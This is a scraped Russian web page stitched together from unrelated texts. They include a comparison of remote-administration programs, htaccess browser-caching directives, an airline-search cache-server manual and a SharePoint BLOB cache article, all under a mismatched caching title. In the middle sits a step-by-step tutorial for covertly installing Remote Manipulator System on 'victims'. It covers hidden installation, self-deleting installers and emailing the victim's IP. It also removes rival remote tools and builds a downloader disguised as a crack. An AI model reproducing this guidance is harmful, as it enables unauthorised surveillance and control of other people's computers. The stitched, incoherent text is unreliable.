Четыре уровня кэширования в сети: клиентский, сетевой, серверный и уровень приложения. Код формирования заголовков Etag и Expires для настройки кэша

Программы удаленного управления компьютером позволяют дистанционно управлять другим компьютером через Интернет или в локальной сети. Это удобно, когда необходимо помочь не очень опытному пользователю, например, родственнику или другу, плохо разбирающемуся в компьютере что-либо сделать на нем, не сходя со своего уютного кресла и не тратя при этом свои нервы и время на телефонные разговоры. Такие программы еще удобно использовать для удаленной работы, например, из дома для подключения в офис и наоборот - для доступа к своему домашнему ПК, для системного администрирования целого парка компьютеров и серверов.

Проведем сравнительный анализ программ удаленного управления, выделим их преимущества и недостатки.

TeamViewer

Одна из самых популярных программ для удаленного доступа, ее можно быстро скачать и установить или сразу запустить, без установки, с этим сможет справиться даже не очень опытный пользователь. При запуске программа отображает окно с ID и паролем для доступа к данному компьютеру, а также TeamViewer позволяет подключится к другому компьютеру задав его ID и пароль.

Преимущества:
В программе доступно несколько основных режимов работы это удаленное управление, передача файлов, чат, демонстрация своего рабочего стола. Программа позволяет настроить круглосуточный доступ к компьютеру, это будет удобно для системного администрирования. Скорость работы вполне достойная, есть версии для всех мобильных платформ, для различных операционных систем, что очень радует. Простой и вполне понятный интерфейс плюс ряд дополнительных утилит для расширения функционала программы, будут полезны для служб удаленной поддержки.

Недостатки:
Хоть программа и является бесплатной, но только для не коммерческого использования, а также при работе с ней более 5 минут возникает ряд трудностей, например TV может заблокировать сеанс удаленного подключения, распознав его как коммерческое использование. Для круглосуточного удаленного доступа или администрирования нескольких компьютеров, компьютерной сети, придется платить за дополнительные модули программы. Стоимость программы высокая.

Итог:
Данная программа идеально подойдет для разового удаленного подключения или использования ее непродолжительные периоды времени. Удобно использовать с мобильных платформ, но не администрировать большое количество компьютеров. За дополнительные модули придется доплачивать.

LiteManager

Простая, но довольно таки мощная по возможностям программа, состоит из двух частей, первая это Server который нужно установить или запустить на удаленном компьютере и Viewer, который позволяет управлять другим компьютером. Для работы программа требует немного больше навыков и опыта от управляющего, хотя работа сервером даже проще чем в TeamViewer, сервер можно один раз установить и больше не каких действий от пользователя не нужно, ID будет всегда постоянный, его даже можно задать самому в ручную, что очень удобно для запоминания. Версия LiteManager Free является бесплатной для личного и коммерческого использования.

Преимущества:
В программе помимо основных режимов удаленного доступа: удаленного управления, передачи файлов, чата, диспетчера задач, редактора реестра, есть и уникальные функции, например: инвентаризация, запись экрана, удаленная установка. Программа бесплатна для использования на 30-ти компьютерах, ее можно использовать для круглосуточного доступа без каких либо дополнительных модулей. Отсутствуют какие-либо ограничения по времени работы. Есть возможность настройки своего собственного ID сервера для настройки корпоративной службы поддержки. В программе нет каких-либо ограничений по времени работы и блокировок.

Недостатки:
Не хватает клиента под мобильные платформы или другие системы, есть ограничения на 30 компьютеров в бесплатной версии, для администрирования большего количества необходимо приобрести лицензию. Некоторые, специфичные режимы работы доступны только в Pro версии.

Итог:
Программа Litemanager подойдет для оказания удаленной поддержки, для администрирования нескольких десятков компьютеров абсолютно бесплатно, для настройки собственной службы удаленной поддержки. Стоимость программы самая низкая в своем сегменте и лицензия не ограничена по времени.

Ammy admin

Программа в основном аналогична TeamViewer, но более простой вариант. Присутствуют только основные режимы работы - просмотр и управления, передача файлов, чат. Программа может работать без установки, бесплатная для некоммерческого использования.

Преимущества:
Простая и легкая программа, можно работать как в Интернете, так и в локальной сети, обладает минимальными настройками и не требует каких-то особых умений и навыков. По сравнения с TeamViewer более мягкая лицензионная политика.

Недостатки:
Минимум функций для удаленного управления, администрировать большой парк компьютеров будет сложно, при долгом использование, более 15 часов в месяц, сеанс работы может быть ограничен или заблокирован, платная для коммерческого использования,

Итог:
Данная программа больше подойдет для разового подключения к компьютеру и не сильно сложных манипуляциях, например в качестве оказания помощи не опытному пользователю в настройке компьютера.

RAdmin

Одна из первых программ удаленного управления и известная в своем кругу, не мог ее не упомянуть, больше предназначенная для системного администрирования, основной акцент сделан на безопасности. Программа состоит из двух: компонент сервера и клиента. Требует установки, не опытному пользователю будет не просто с ней разобраться, программа предназначена в основном для работы по IP адресу, что не совсем удобно для оказания тех. поддержки через Интернет. Программа платная, но обладает бесплатным тестовым периодом.

Преимущества:
У программы высокая скоростью работы, особенно в хорошей сети, благодаря видео драйверу захвата рабочего стола, повышенной надежностью и безопасностью. Встроена технология Intel AMT, что позволяет подключаться к BIOS удаленного компьютера и настраивать его. Реализованы только основные режимы работы удаленное управление, передача файлов, чат и т.д.

Недостатки:
Почти нет возможности для работы без IP адреса, т.е. соединяться по ID. Отсутствует клиент для мобильных систем. Нет бесплатной версии, только тестовый период 30 дней. Для работы с программой необходимы навыки опытного пользователя. При подключении видео драйвер может отключать графическую оболочку Aero, иногда мигает экран.

Итог:
Программа больше подойдет для системных администраторов для администрирования компьютеров и серверов в локальной сети. Для работы через Интернет, возможно, придется настроить VPN туннель.

Всем доброго времени суток!​

Сегодня мы с вами будем делать скрытую сборку Remote Manipulator System (аналог Radmin, Teamviewer)
Сразу предупреждаю, что собрать довольно сложно, особенно новичкам.

Я постараюсь объяснять все пошагово и доступным языком.
RMS (как и Radmin, TeamViewer и т.д.) выполняет одну и ту же функцию – удалённое администрирование (т.е. управление) компьютером

Что же умеет RMS?
Тут перечислены все его функции:
-Управление и наблюдение
-Файловый менеджер
-Текстовый чат
-Диспетчер задач
-Подключение посредством Internet-ID! (так же как у TeamViewer)
-Диспетчер устройств
-Подключение к командной строке
-Запись экрана по расписанию
-Простое текстовое сообщение
-Поддержка нескольких мониторов
-Удаленная установка
-Wake-On-Lan
-Удаленный реестр.
-Функция «Выполнить»
-Подключение к web-камере.
-Самоудаление
-Интеграция с фаерволлом

Начну с перечисления того, что собой представляет сборка:
1. Полностью скрытая установка (экран не моргает в отличии от Радмина)
2. После запуска установщик самоудаляется
3. Все файлы сборки скрыты/системны, жертве будет сложнее что-то заметить
4. Вам на почту дополнительно отправляется IP, но он нам не понадобится, скорее всего, так как мы будем использовать Internet-ID
5. Вес будет ~2,8мб
6. Данная сборка частично палится антивирусами (как сделать, что бы не палилась - пишите в контакты)

Итак, начнем собирать:

I. Настройка RMS сервера

Первым делом, скачиваем архив
Внимание! На архив стоит пароль

Пароль на архив:
-
Открываем папку R, запускаем файл server.exe, устанавливаем. По завершении установки, программа запустится сама:

Перед нами появляется окошко Безопасности:

Нажимаем Сменить/Установить – вводим пароль, допустим 12345678rms
Переходим во вкладку Аутентификация, стоять должна галочка – Уровень 3
Далее, нажимаем ОК! Все, окошко исчезает.

Следующим шагом для нас будет настройка сервера
В правом нижнем углу кликаем правой кнопкой по синему значку
Настройка Internet-ID соединения
Нажимаем Получить новый ID, появляется что-то похожее:

Следующим шагом для нас будет вторая часть настройки сервера:
открываем Пуск, Программы, Remote Manipulator System – Server, Settings for R-Server

Тут будет два шага, первый мы уже прошли («безопасность»).
2. Режим Запуска – Автоматический
3. Настройки, убрать все галочки, поставить только на "запретить закрытие RMS", также во вкладке Логирование галочка должна быть снята.
4. Лицензионный ключ – введите этот:
-

5. Закрываем Настройки

Открываем директорию, куда установился сервер, и выделяем следующие файлы:

Копируем, создаем где-нибудь папку, туда все вставляем.
Именно в этой папке у нас будет происходить все самое интересное, далее я эту папку буду называть “Новая Папка”

Продолжаем работать. Теперь нам надо экспортировать наши настройки с паролями и всеми настройками.

Для этого нам нужно сделать следующее:

Для ХР, WIN+R: regedit
Для 7, просто в строке «найти программы и файлы» вводим regedit, и Ок
Идем сюда: HKEY_LOCAL_MACHINE/SYSTEM/ далее экспортируем Remote Manipulator System

И указываем путь нашу созданную папку, (имя файлу задайте - sets) в которую мы копировали наши файлы сервера, вот что у Вас должно получиться:

Сам по себе файл sets.reg – это файл настроек, там хранятся все Ваши настройки, если Вы хотите что-то изменить, Вам нужно заменять только этот файл, проделав все предыдущие шаги.

II. Редактирование установщика

Ну вот, перешли к главной части.

Выделяем install.bat, правой кнопкой - изменить
(первая половина кода служит для того, чтоб на компе жертвы удалить ранее установленный Радмин, Rem_Cam, и если стоял ранее то и RMS, нам ведь не надо чтоб кто-то тоже имел доступ к компьютеру кроме нас).

Тут два простых шага:
1. Создаем почту на Яндексе(!):
2. Пожалуйста, здесь не тупите, чтоб не было потом вопросов!
Находим это почти в самом конце и редактируем вот это под себя:

###LOGIN### - это ТОЛЬКО логин, БЕЗ добавления @yandex.ru, ###PASSWORD### - 12345678, тут ясно -указываем свои данные с регистрации в Яндексе.
Закрываем, сохраняем.

Выделяем в Новой Папке файл setup.exe, правой кнопкой -открыть архив.
Выделяем все что есть в Новой Папке (кроме setup.exe разумеется) и перетягиваем в то открывшееся окошко. Успешно добавили файлы в архив.

В итоге у Вас должно выйти вот это:

Копируем куда-нибудь наш файл setup.exe.
Все остальное можете удалить из папки.

III. Завершение

Итак, открываем папку R, устанавливаем файл Viewer.exe, через него мы будем подключаться к «жертве» по Internet-ID.

Важно!
Если Вы собираетесь свою сборку кидать нескольким «жертвам» и сразу, то с Интернет-ИД будут проблемы, так как он присваивается одной сборке для одного компьютера.
Если Вы собираетесь распространять скрытый rms массово, то в таком случае нужно к каждой «жертве» подключаться по IP

Как я лично советую использовать данную сборку.
Вы кидаете её какой-нибудь одной жертве, она его устанавливает. Далее Вы можете по тому Internet-ID (который вы выше копировали) подключаться. Сделали всё что Вам нужно на компьютере жертвы и дальше удаляете сборку с компьютера жертвы
Для этого нужно:
Подключаетесь к жертве и выбираете подключение «Запуск программ»-Обзор - у жертвы заходите в директорию windows\system32 там находите файл de.exe, выбираете.(поставьте галочку «скрытый запуск»)

Файл de.exe входит в состав сборки. Это самоудаляющийся файл, который полностью удаляет с компа жертвы вашу сборку скрытого рмс

После запуска этого файла у жертвы лучше проверить удалилась ли сборка (для этого просто пытаемся подключиться снова), если не можем, это означает сборка успешно удалилась и мы можем использовать нашу сборку на другой жертве точно также как и на первой.
Это делается для того чтобы не было конфликтов между двумя компьютерами с одним Internet-ID.

Большим преимуществом данной сборки будет то что подключение будет стопроцентным! Даже если жертва имеет динамический IP (или за NAT"ом).

Также данная сборка интегрируется с фаерволом. В настройках можно включить экономию трафика, в этом случае все работать будет пошустрее и меньше трафика ест.
Еще не меньше порадовало наличие встроенного сканера серверов RMS. Если вы вдруг потеряли свою жертву с динамическим IP, Вы можете её легко найти, просканировав диапазон IP в котором она находится (например 92.72.0.0-92.72.255.255)

В общем – пробуйте, пишите отзывы, бросайте СПАСИБО

По желанию, создание даунлоадера

Что из себя, собственно, представляет данный даунлоадер и для чего он нужен?
Это.exe файл, который сразу после запуска самоудаляется, скачивает файл и устанавливает, после запуска самоудаляется, не оставив при этом никаких следов

Итак, начнем!

Все что нужно, находится в папке Downloader

Итак, нам нужна регистрация сервера на Яндексе.
У Вас уже должна быть почта на Яндексе, куда приходят IP. С этого аккаунта мы зарегистрируем наш сервер, куда будем заливать нашу сборку.

Для этого:
1. Зайдите на свой аккаунт на Яндексе
2. Переходим по ссылке http://narоd.yаndеx.ru/
3. Нажимаем «Создать сайт» (сайт нам не нужен, только файл-менеджер)
4. Когда наш сайт создан заходим в файл-менеджер, ****.narod2.yandex.ru/filemanager/
5. Выбираем «Загрузить файл», загружем нашу RMS сборку
6. После того как загрузится файл, там должна быть такая серенькая кнопочка «ссылка», нажимаем, копируем.

Допустим, у нас уже есть сервер на Яндексе, на котором лежит наш файл. Отлично, идем дальше.
Далее распаковываем наш скаченный архив, открываем папку link, файл winupd.bat – изменить.
###LINK### - адрес на файл
###DOWNLOADED"FILENAME### - название файла

Batch file: открываем наш батник - winupd.bat
Save us: оставляем как есть
Остальное ставим как на картинке, должно получится вот так:
Вкладка Options:

Во вкладке Include добавляем файл wget.exe
Вкладка Include:

Следующим шагом для нас будет помещение файла winupd.exe в оболочку, которая его будет дроппать и после этого самоудалятся.
Клик по файлу load.exe, открыть архив, перетягиваем файл winupd.exe в файл load.exe

Всё! Наш даунлоадер готов!

Для непалевности и удобства, можно впарить кому-то наш файл под видом кряка, патча, картинки и пр. (сразу говорю, невозможно создать установщик с расширением.jpg, .mp3, разве что перед этим покопавшись в реестре жертвы, ну это бред, лучше использовать СИ)

Изменения в Express RMS:

Упрощена настройка (логин и пароль вводите в текстовике)
- После перезагрузки повторно отправляет IP
- В установщике теперь всего 6 файлов:
- Установка проходит гораздо быстрее

Прошу не обращаться в личку с просьбой дать ключ на котором ограничения, по всем вопросам, а также Новым версиям сборок пишите мне на контакты (внизу)

теги: скрытый rms 5.5 5.4, скрытый рмс удалённое администрирование, скрытый рмс с отправкой ид и пароль на почту, remote manipulator system 5,5, скрытое администрирование, удаленное администрирование, remote manipulator system, hidden rms, скрытое управление компьютером, rms удаленный доступ , удаленный доступ , скрытый просмотр веб камеры, скрытая веб камера

17.06.16 23.4K

Что такое кэш браузера?

  • htaccess кэширование сохраняет содержимое веб-страницы на локальном компьютере, когда пользователь посещает ее;
  • Использование кэша браузера – веб-мастер дает указания браузерам, как следует рассматривать ресурсы.

Когда браузер отображает веб-страницу, он должен загрузить логотип, CSS файл и другие ресурсы:


Кэш браузера «запоминает » ресурсы, которые браузер уже загрузил. Когда посетитель переходит на другую страницу сайта, логотип, CSS файлы и т.д. не должны загружаться снова, потому что браузер уже «запомнил » их (сохранил ). В этом заключается причина того, почему во время первого посещения загрузка веб-страницы занимает больше времени, чем при повторных.

Когда вы используете кэширование, файлы веб-страницы будут сохранены в кэше браузера. Страницы будут загружаться в разы быстрее при повторных посещениях. Также будет с другими страницами, которые используют одни ресурсы.

Как включить кэширование в браузере

  • Измените заголовки запроса ресурсов, чтобы использовать кэширование;
  • Оптимизируйте свою стратегию кэширования.

Изменение заголовков запроса

Для большинства людей единственный способ кэширования сайта htaccess заключается в том, чтобы добавить код в файл .htaccess на веб-сервере.

Файл .htaccess контролирует многие важные настройки для вашего сайта.

Кэширование браузера через файл.htaccess

Приведенный ниже код указывает браузеру, что именно кэшировать и как долго это «запоминать «. Его следует добавить в начало файла .htaccess :

## EXPIRES CACHING ## ExpiresActive On ExpiresByType image/jpg "access 1 year" ExpiresByType image/jpeg "access 1 year" ExpiresByType image/gif "access 1 year" ExpiresByType image/png "access 1 year" ExpiresByType text/css "access 1 month" ExpiresByType text/html "access 1 month" ExpiresByType application/pdf "access 1 month" ExpiresByType text/x-javascript "access 1 month" ExpiresByType application/x-shockwave-flash "access 1 month" ExpiresByType image/x-icon "access 1 year" ExpiresDefault "access 1 month" ## EXPIRES CACHING ##

Сохраните файл .htaccess , а затем обновите веб-страницу.

Как установить время кэширования для различных типов файлов

В приведенном выше коде заданы промежутки времени. Например, 1 year (1 год ) или 1 month (1 месяц ). Они связаны с типами файлов. Приведенный выше код устанавливает, что .jpg файлы (изображения ) следует кэшировать в течение года.

Если бы вы хотели изменить это, чтобы и JPG изображения кэшировались в течение месяца, то вы бы просто заменили «1 год » на «1 месяц «. Указанные выше значения кэширования через htaccess оптимальны для большинства веб-страниц.

Метод альтернативного кэширования для.htaccess

Описанный выше метод называется «Expires «, он помогает с кэшированием большинству новичков. После того, как вам станет проще работать с кэшированием, можете попробовать другой метод кэширования Cache-Control , который дает больше возможностей.

Возможно, что метод Expires не сработает на вашем сервере, в этом случае вы возможно захотите попробовать использовать Cache-Control .

Cache-Control

Этот метод позволяет получить больше контроля над кэшированием страниц в браузере, но многие считают, что проще прописать все настройки один раз.

Пример использования в файле .htaccess :

# 1 Month for most static assets Header set Cache-Control "max-age=2592000, public"

Приведенный выше код устанавливает заголовок Cache-Control в зависимости от типа файла.

Как работает Cache-Control

Рассмотрим упомянутую выше строку кода кэширования в браузере htaccess :

# 1 Month for most static assets

Данная строка — просто примечание. Файл .htaccess игнорирует строки, начинающиеся с символа # . Это примечание рекомендуется, так как у вас может быть несколько различных наборов данных в качестве решения для кэширования файлов:

Упомянутая выше строка говорит, что, «если файл будет одним из этих типов, то мы сделаем что-то с ним… »

Самое важное в этой строке то, что в ней перечислены различные типы файлов (CSS , JS , JPEG , PNG и т.д. ) и что инструкции кэширования следует применять к этим типам файлов. Например, если вы не хотите, чтобы JPG файлы кэшировались в течение указанного периода времени, можете удалить «JPG «. Если вы хотите добавить HTML , то нужно в этой строке указать «HTML «:

Header set Cache-Control "max-age=2592000, public"

В упомянутой выше строке установлены фактические заголовки и значения:

  • Часть «Header set Cache-Control » — устанавливает заголовок;
  • Переменная «max-age=2592000 » – указывает, сколько времени займет процесс кэширования (в секундах ). В этом случае мы осуществляем кэширование в течение одного месяца (2592000 ) секунд;
  • Часть «public » сообщает о том, что это общедоступно.

Эта строка кэширования через htaccess закрывает оператор и заканчивает блок кода.

Кэш-сервер - это хранилище результатов поисковых запросов, с возможностью обращения к нему через стандартный интерфейс авиа-вебсервисов.

Задачи, которые решает кэш-сервер

Кэш-сервер предназначен для ускорения работы стандартного поиска через авиа-вебсервисы, за счет использования сохраненных результатов при повторяющихся запросах. В случае, если один из результатов поиска не прошел проверку доступности, то сохраненные результаты удаляются и следующий поиск произойдет с новым запросом в ГРС.

Включение кэш-сервера

Для включения кэш-сервера необходимо:

Администратору необходимо :

  1. Зайти в раздел Для техподдержки → Nemo Connect Вебсервисы → Настройки Взаимодействия .
  2. Включить опцию Управление кэшем в разделе Использовать настройки в Авиа сервере из Немо 1 для разделов .

Менеджеру необходимо :

  1. Зайти в раздел
  2. Включить опцию Использовать кэш Nemo Connect

Настройки авиакэша

В разделе Управление продажами → Авиабилеты → Процессы → Процесс поиска → Правила кэширования перелётов перелётов можно задать неограниченного количество правил кэширования результатов авиа-поиска:

  • Время до вылета в часах - означает, что для срабатывания правила до вылета должно быть указанное количество часов и более. Если срабатывает насколько правил, то выбирается то, что «ближе всего» к дате вылета. Например, есть правила: до вылета более 10, 20, 30 и 100 часов. Фактически до вылета 50 часов. Срабатывают первые 3 правила, и выбирается правило «до вылета 30 часов». Если ни одно правило не удовлетворяет требованиям, то берётся правило с наименьшим количеством часов. Например, есть 100, 200, 300 часов, а вылет фактически за 50 часов, в этом случае будет взято время жизни кэша от правила «100 часов до вылета».
  • Время жизни кэша в минутах - период актуальности результатов поиска, сохраненных в кэше, с момента последнего поиска.

Учёт смены курсов в GDS

При смене курсов валют в GDS результаты поиска в кэше теряют актуальность, т.к. это приводит к изменению стоимости авиаперевозки в случаях, когда валюта итоговой стоимости отличается от валюты, в которой заведён тариф. Для решения этой проблемы в рамках авиа-сервера ведётся учёт изменений курсов валют. При получении результатов поиска из кэш-сервера проверяется, имели ли место изменения курса валюты тарифа относительно валюты итоговой стоимости. Если они были, то стоимость результатов поиска пересчитывается с учётом изменения курса валют. Данный функционал в настоящее время реализован только для поставщика Sabre.

Внимание! Для корректной работы необходимо наличие ключевого слова BSRDSP в EPR для всех PCC (настройки прописывает Sabre, обратитесь в службу поддержки ГРС). Данный параметр влияет на логику расчёта курсов и при его отсутствии пересчёт цен будет происходить некорректно.

Прим: Пересчёт стоимости идёт не только в части тарифа, но и в части такс. Если при этом таксы заведены в других валютах, отличных от валюты тарифа, то пересчёт будет всё равно произведён, т.к. нет возможности в результатах поиска получать информацию о валютах, в которых заведены таксы. Соответственно, результат в таких случаях может немного отклониться от фактического.

Данный функционал включается настройкой «Включить пересчёт курсов для результатов из кэша » в разделе Управление продажами → Авиабилеты → Процессы → Процесс поиска → Тонкая настройка .

В Sabre смена курсов происходит 1 раз в неделю в среду в полночь по часовому поясу, к которому относится PCC агентства. Синхронизация курсов на авиа-сервере запускается во вторник, среду и четверг в начале каждого часа(00:05, 01:05 и т.д) по московскому времени. При этом синхронизируются курсы для валют, которые встречались в результатах поиска.

Статистика поисковых запросов

Модуль отслеживает статистику совершенных поисков. На странице доступны фильтры:

  • С даты - фильтр задает начало диапазона даты и времени для выборки данных.
  • По дату - фильтр задает окончание диапазона даты и времени для выборки данных.
  • Уровень детализации - фильтр задает масштаб времени, рассматриваемых данных.
    • День

Подробная информация о SharePoint BLOB кэше, кэше вывода страниц и кэше объектов.

Microsoft SharePoint Server 2010 можно использовать для построения различных бизнес решений от порталов совместной работы и архивов записей до интернет сайтов. Какой бы вариант вы не выбрали, вы все равно будете заинтересованы в приемлемой скорости работы решения и вот здесь, понимание принципов работы кэша не будет лишним. Основная задача кэша обеспечить более быстрое отображение вашего портала конечным пользователям. Но у любой монеты есть две стороны, а посему вам необходимо знать как преимущества, так и недостатки различных видов кэша.

В данной статье мы поговорим о трех видах кэша. Каждый из них имеет уникальный функционал помогающий расти вашему SharePoint Server. Однако, кэш не панацея, каждый вид кэша имеет свои компромиссы, и далеко не факт, что все виды кэша подойдут конкретно вашему сценарию. Бездумное включение кэша без правильной настройки, скорее всего не приведет к ожидаемому повышению производительности.

Любая установка SharePoint Server состоит из экземпляра Microsoft SQL Server и как минимум одного Web Front-End сервера. Когда пользователи запрашивают с SharePoint Server данные, (например, страницу или документ) WFE сервер получает из SQL все необходимые данные и на основе их обрабатывает пользовательский запрос. И хотя это гарантирует пользователю получение самой актуальной информации, такая ситуация сказывается на повышенном трафике между SQL и WFE серверами, что в свою очередь влияет на скорость работы конечного пользователя.

Кэш SharePoint Server работает на Web Front-End серверах, каждый вид кэша сохраняет локальную копию данных, чтобы по мере возможности, обслуживать клиентов, используя локальный кэш, уменьшая количество данных передаваемых с SQL сервера и нагрузку на собственные процессоры.

BLOB кэш.

BLOB кэш понижает нагрузку на SQL Server за счет сохранения содержимого запрошенных файлов (в основном частей страницы вроде JavaScript, CSS и картинок) на жестких дисках WFE сервера. Когда приходит новый запрос на файл, который уже был кэширован, BLOB кэш вместо обращения на SQL Server возвращает файл с диска.

Когда вы разрабатываете веб сайты SharePoint, существует несколько мест хранения содержимого страниц. Они могут храниться на файловой системе WFE сервера (обычно в директории _layouts) или в библиотеке SharePoint. Файлы, которые хранятся в каталоге _layouts могут быть считаны с диска достаточно быстро, но если файлы необходимо обновить, администратор должен изменить их на каждом WFE сервере. Хранение в библиотеке SharePoint дает свои преимущества, теперь не только администраторы фермы могу добавлять и обновлять содержимое, но и пользователи. Но поскольку все что хранится в библиотеке находится в SQL , а за счет извлечения данных из SQL скорость получения их будет ниже. Итак, при хранении файла в SharePoint и использовании кэша BLOB, доступ к содержимому предоставляется быстро при этом существует возможность централизованного управления.

Но есть и нюансы. При добавлении нового файла осуществляет в пять раз больше запросов к SQL серверу нежели в ситуации с отключенным BLOB кэшем. При этих дополнительных обращениях извлекается информация о разрешениях и других метаданных для безопасной и надежной работы кэша. Кроме того, чтобы избежать возврата клиенту неактуального контента, BLOB кэш будет убирать из кэша файлы, если существует вероятность их устаревания. Естественно после этого произойдет повторное кэширование файла, что снова скажется на обращениях к SQL.

В дополнении к снижению обращений к SQL серверу, BLOB кэш помогает снизить время на перезагрузку страницы путем добавления заголовков контроля в HTTP ответ для файлов, которые он обслуживает. Эти заголовки сообщают пользовательскому браузеру о необходимости сохранить данные файлы в кэше браузера. Когда браузеру потребуется один из закэшированных файлов, он сможет использовать этот кэш вместо обращения на SharePoint Server. Это приводит к значительному снижению HTTP запросов и времени загрузки страницы.

Как уже было сказано BLOB кэш особенно полезен при кэшировании больших мультимедийных файлов. Сам SharePoint оптимизирован для работы с небольшими файлами. Он может обработать файлы меньше FileReadChunkSize (100KB) за одно обращение, а файлы до 5 MB LargeFileChunkSize подаются непосредственно с SQL без дисковой буферизации с низкой задержкой. Файлы больше 5 MB SharePoint буферизирует на диске WFE сервера до возврата пользователю. Это бережет память, но сказывается на задержке возврата. BLOB кэш может уменьшить задержку в этой ситуации. Когда файл закэширован в BLOB он возвращается также быстро, как будто он находится непосредственно на IIS.

Еще одно преимущество BLOB кэша заключается в предоставлении возможности осуществлять HTTP запрос части файла вместо запроса его целиком. Например, если браузеру нужен только 1МВ из 10МВ файла, он может сделать запрос и получить из кэша только 1 МВ. При отключенном BLOB кэше SharePoint Server игнорирует подобные запросы (в англ. документации они называются HTTP range request) и возвращает полный размер запрашиваемого файла. Получается, что BLOB кэша увеличивает производительность сети, за счет минимизации сетевой нагрузки.

Наибольшую пользу от таких частичных HTTP запросов (HTTP range request) получат клиентские медиа плееры. Неважно будет это Windows Media Player или Silverlight встроенный в веб страницу, при переводе ползунка –перемотки видео вперед BLOB кэш будет возвращать требуемую часть файла без полной загрузки его на клиента.

Логическая архитектура и расположение.

BLOB кэш работает на каждом WFE сервере фермы. Точнее каждое веб-приложение и каждый виртуальный сервер имеем собственный BLOB кэш. В данном случае под виртуальным сервером подразумевается IIS Web Site, ну а в SharePoint Server, как правило, каждое веб-приложение связано с одним виртуальным сервером. В один момент времени на одном виртуальном сервере может работать только один экземпляр BLOB кэша. Это значит что BLOB кэш не может быть использован с Веб-садом. (Веб-сад или web garden это пул приложений, который использует для обработки запросов более одного процесса запросов более одного процесса w3wp.exe)

Если веб-приложение SharePoint расширено, а оно как правило расширяется при использовании разных способов аутентификации для одного портала, то второй виртуальный сервер будет обрабатываться собственным экземпляром BLOB кэша. Поэтому BLOB кэш включается для каждой зоны отдельно. Например, данные, запрашиваемые внутренними пользователями, кэшируются, а данные запрашиваемые внешними пользователями (по External Url) соответственно нет. И хотя содержимое, предоставляемое внешним и внутренним пользователям идентично, наличия двух экземпляров кэша не избежать.

Механизм наполнение кэша.

Файлы с определенными расширениями попадают в BLOB кэш по мере их запроса пользователями. Список расширения настраивается и может быть сконфигурирован под конкретные задачи. При первом возврате файла из BLOB кэша на маленьких файлах может наблюдаться задержка по времени чуть больше, чем при обычном возврате SharePoint. С другой стороны большие файлы подаются быстрее из-за выполняемой кэш BLOB оптимизации. Файл начинает кэшироваться при считывании первых байт с SQL Server. Данные возвращается клиенту, в то время как остававшаяся их часть еще продолжает грузиться с сервера баз данных. Естественно это справедливо только для первого запроса, поскольку последующие разы данные подаются непосредственно из кэша BLOB.

Кэш BLOB может обрабатывать несколько запросов к одному файлу через доступность данных в кэше для всех запросов. Это происходит, даже если файл не был еще полностью получен из SQL Server. Например, ссылка на видео доклада (500MB), хранящегося на SharePoint Server, рассылается по электронной почте сотрудникам компании. Если одновременно большое количество пользователей перейдет по ссылке, то при отключенном кэше к SQL Server будет осуществлено множество запросов. (по одному для каждого пользователя) Не трудно догадаться как это скажется на производительности. С включённым кэшем, видео будет получено из SQL единожды каждым WFE сервером и даже если оно не успеет закэшироваться полностью, будет использовано для обслуживания всех запросов. Вывод напрашивается сам собой – BLOB кэш необходимым для обслуживания больших файлов на сервере SharePoint.

Хранение данных и размер кэша на диске.

Т.к вам не следует править какие либо из кэш файлов вручную, понимание структуры хранения данных BLOB кэша на диске полезно как минимум с точки зрения теории. BLOB кэш хранит свои файлы на диске в структуре, которая повторяет структуру вашего портала. Например, файл на портале с URL http://contoso/sites/publishing/documents/somefile.jpg будет храниться на диске приблизительно по такому пути c:\BlobCache\14\11111111\AB25499AF39572\sites\publishing\documents\somefile-1238DEF8097AB.jpg. В данном пути присутствуют случайные части строки, сделано это для предотвращения перезаписи старой версии файла более новой, поскольку старый файл в этот еще момент еще может использоваться. Имя узла, где находится файл, заменяется в ссылке уникальной строкой, что предотвращает конфликты при кэшировании двух файлов с адресами типа http://contoso/images/logo.jpg и http://northwinds/images/logo.jpg.

В операционной системе Windows присутствует ограничение в 260 символов в пути для файла. Поскольку BLOB кэш добавляет дополнительные уникальные строк в пути файлов кэша, то вполне реальна ситуация когда при записи файла на диск этот предел будет превышен. Поэтому нужно постараться избегать чрезмерно длинных URL на портале SharePoint. Если придерживаться рекомендации, то для нормального кэширования файлов не следует делать ссылки на портале длиннее 160 символов.

В дополнение к дисковому пространству, BLOB кэш требует небольшой объем оперативной памяти для поддержания индекса файлов на диске. Каждая запись в индекс использует порядка 800 байт памяти. В большинстве случаев расходуемая BLOB кэшем память будет являться небольшой частью общей памяти, задействованной SharePoint. Однако, если в кэше BLOB требуется хранить сотни тысяч файлы файлов, то вопрос о потребности в памяти нужно будет планировать с учетом вышесказанного.

Стойкость BLOB кэша при перезапуске пула приложений.

Кэш BLOB является единственным стойким кэшем, а это означает, что он выживет при перезапуске или выключении пула приложений IIS. Это происходит, потому что индекс периодически пишется на диск. Сериализованный индекс составляет приблизительно одну треть от размера индекса в памяти. Как и все операции ввода-вывода размер индекса влияет на продолжительность сериализации и десериализации. Очень большой BLOB кэш содержит сотни тысяч элементов, поэтому процесс переписи их в индексе может занять больше минуты. Пока идет процесс сериализации, новые элементы не могут быть добавлены в кэш. Это значит, что если поступили запросы на файлы, которые еще не в кэше, то клиенту придется ждать до тех пор пока процесс сериализации не завершится. Если индекс чрезвычайно большой (миллионы объектов) время сериализации может превысить таймаут клиентского запроса и запрос будет отброшен.

Механизм проверки кэша.

BLOB кэш убирает устаревшие закэшированные файлы, опрашивая о изменениях SharePoint Server. Интервал опроса по умолчанию равен пяти секундам, но данный параметр может быть сконфигурирован. На самом деле файл удаляется позже (этот интервал тоже конфигурируется), после того, как любые HTTP сессии будут отключены. Устаревшие и удаленные файлы из кэша файлы не добавляются в кэш автоматически, добавление произойдет при следующем запросе файла пользователем. При изменениях контента на сайте SharePoint, BLOB кэш может меняться достаточно интенсивно. В следующей таблице приведены операции с файлами их влияние на BLOB кэш.

Для BLOB кэша также настраивается максимальный размер, дабы избежать излишнего расходования свободного места на диске. Когда суммарные размер файлов в кэше превышает установленные ограничения, BLOB кэш удаляет наименее используемые файлы до тех пор пора вес закэшированных файлов не понизится до 70% от разрешенного объёма. Этот процесс называется уплотнением. Уплотнение достаточно «дорогой» процесс с точки зрения производительности, связано это возможным повторным кэшированием удаленных файлов. Периодический запуск уплотнения позволяет избавиться от «непопулярных» файлов и освободить место для более часто используемых. Если уплотнение происходит часто, о это говорит только о нехватке места под кэш, посмотреть периодичность этой операции можно по счетчику“Total number of cache compactions” в группе SharePoint Disk-Based Cache. Выделение дополнительного места при частом уплотнении является хорошим решением, в идеальных условиях размера кэша должно хватать для помещения всех популярных запросов.

